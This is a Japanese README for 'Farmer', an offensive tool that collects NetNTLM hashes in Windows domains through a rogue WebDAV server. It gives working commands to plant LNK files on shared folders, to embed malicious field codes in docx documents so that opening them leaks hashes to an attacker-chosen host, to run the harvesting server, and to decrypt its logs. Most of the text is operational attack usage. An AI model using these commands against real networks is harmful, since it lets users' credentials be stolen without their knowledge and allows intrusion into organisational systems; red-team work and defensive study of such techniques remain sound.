Farmer

著者: @domchell

概要

農家になりたかったので、ハッシュの収穫を始めました

Farmer は、Windows ドメイン内で NetNTLM ハッシュを収集するためのプロジェクトです。Farmer は、ローカル WebDAV サーバーを作成することでこれを実現し、接続するクライアントに対して WebDAV ミニリダイレクタが認証を行うようにします。

Farmer を成功させるためには、クライアントがローカル WebDAV サーバーに接続できる必要があります。これを妨げる可能性のあるものとして、ネットワークのセグメンテーションや Windows ファイアウォールなどが挙げられます。事前にこれらを確認してください（ヒント Seatbelt WindowsFirewall）。

作物の拡散

Farmer には Crop ツールのサブモジュールが含まれています。このツールは、LNK ファイルを作成して、その LNK が保存されているフォルダを閲覧した際に WebDAV 接続を開始させるために使用できます。これは、保存されたアイコンをレンダリングしようとするためです。

この攻撃の概念は、Crop を使用して目的のファイル共有に LNK ファイルを仕込み、その LNK が Farmer WebDAV サーバーを指すようにするというものです。

例:

crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest

ユーザーが \fileserver\Common を閲覧すると、エクスプローラは Farmer WebDAV サーバーからアイコンを取得しようとし、その過程でユーザーの NetNTLM ハッシュを送信します。

作物の施肥

Farmer には Fertiliser ツールの別のサブモジュールが含まれています。このツールは、Office 文書（現時点では docx のみ）に悪意のあるフィールドコードを埋め込むために使用できます。これにより、文書が開かれたときにフィールドコードが解析され、選択した WebDAV サーバーにハッシュが漏洩します :)

例:

Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"

農業

Farmer はユーザー定義のポートで待機し、指定された秒数だけ動作し、必要に応じて出力をファイルシステムに書き込みます:

使い方:

farmer.exe <port> [seconds] [output]

秒数が指定されない場合、または 0 に設定された場合、Farmer は無期限に実行されます。例:

farmer.exe 8888 0 c:\windows\temp\test.tmp

Farmer をポート 8888 で 1 分間実行するには、次のようにします:

farmer.exe 8888 60

Farmer のログをファイルシステムに書き込む場合、Config.key で設定されたキーを使用し、encrypt ブール値を true（デフォルトは false）に設定することで、ログファイルを AES 暗号化できます。

ログファイルは HarvestCrop ツールで復号化できます。例:

harvestcrop.exe c:\windows\temp\test.tmp farmer